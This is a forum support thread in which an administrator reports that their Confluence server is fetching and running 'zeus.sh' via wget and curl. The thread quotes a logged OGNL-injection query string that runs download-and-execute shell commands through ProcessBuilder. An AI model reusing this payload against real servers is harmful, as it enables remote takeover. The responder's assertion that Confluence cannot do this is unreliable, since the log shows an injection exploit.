Curl|Wget Malware / malicious files download attempt by confluence local instance

Question

Confluence instance installed on our internal server trying to run below commands , these were flagged by our security scan . Reported as malware / malicious files from the command line. Need help to fix the problem and not allow to run any commands to avoid security violation. bash -c cd /tmp;wget http:///zeus.sh -O zeus.sh;curl -O http:// /zeus.sh;chmod 777 zeus.sh;./zeus.sh wget http:// /zeus.sh -O zeus.sh

RaviS_1r96n1 · Answer

Good morning Nic,

Based on recent logs we captured on  confluence application , confluence is trying to run wget  / access zeus.sh commands , please see below logs for reference .

Can you please guide how to fix this problem. Our security team suggested to stop application till we find a remediation as these commands trying to access external sites and we use our application internally.

found logs related below wget command mentioned below.
Attributes
--------------------------
javax.servlet.forward.request_uri: /confluence/pages/createpage-entervariables.action
javax.servlet.forward.context_path: /confluence
javax.servlet.forward.servlet_path: /pages/createpage-entervariables.action
javax.servlet.forward.mapping: org.apache.catalina.core.ApplicationMapping$MappingImpl@7e723cff
javax.servlet.error.status_code: 500
com.atlassian.confluence.impl.profiling.DecoratorTimings: com.atlassian.confluence.impl.profiling.DecoratorTimings@67173194
com.opensymphony.sitemesh.APPLIED_ONCE: true
__cleanup_recursion_counter: 0
com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__: true
com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered: true
atlassian.core.seraph.original.url: /500page.jsp
com.atlassian.labs.botkiller.BotKillerFilter: true
com.atlassian.gzipfilter.GzipFilter_already_filtered: true
Confluence-Request-Time: 1680287306831
com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered: true
org.apache.tomcat.util.net.secure_protocol_version: TLSv1.2
javax.servlet.request.key_size: 256
webwork.valueStack: com.opensymphony.xwork.util.OgnlValueStack@6076f7cd
confluence.themecontext: com.atlassian.confluence.themes.ThemeContext@271bc372
javax.servlet.error.message:
javax.servlet.error.servlet_name: action
javax.servlet.request.cipher_suite: ECDHE-RSA-AES256-GCM-SHA384
javax.servlet.request.ssl_session_id: 85df84c86d0837a790a3acaf81fc6d8a98928ebd6b94d06929bd679ff3c6688c
com.opensymphony.sitemesh.USINGSTREAM: false
B3-TraceId: ea8638ed64ed1c
loginfilter.already.filtered: true
javax.servlet.jsp.jspException: java.lang.IllegalArgumentException: Space key is required
javax.servlet.error.request_uri: /confluence/pages/createpage-entervariables.action
com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered: true
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter: true
javax.servlet.error.exception: java.lang.IllegalArgumentException: Space key is required
os_securityfilter_already_filtered: true
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter: true
--------------------------
Parameters
--------------------------
queryString : aaaaaaaa\u0027+{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var isWin = java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022cd /tmp;wget http://ipaddress/zeus.sh  -O zeus.sh;curl -O http://ipaddress/zeus.sh;chmod  777 zeus.sh;./zeus.sh\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)}+\u0027
caused by: java.lang.IllegalArgumentException: Space key is required
at org.springframework.util.Assert.isTrue(Assert.java:118)

Nic Brough -Adaptavist- · Answer

Welcome to the Atlassian Community!

Confluence does not have the ability to do that.  You'll need to identify what you have added to or configured in Confluence that might be trying to do it.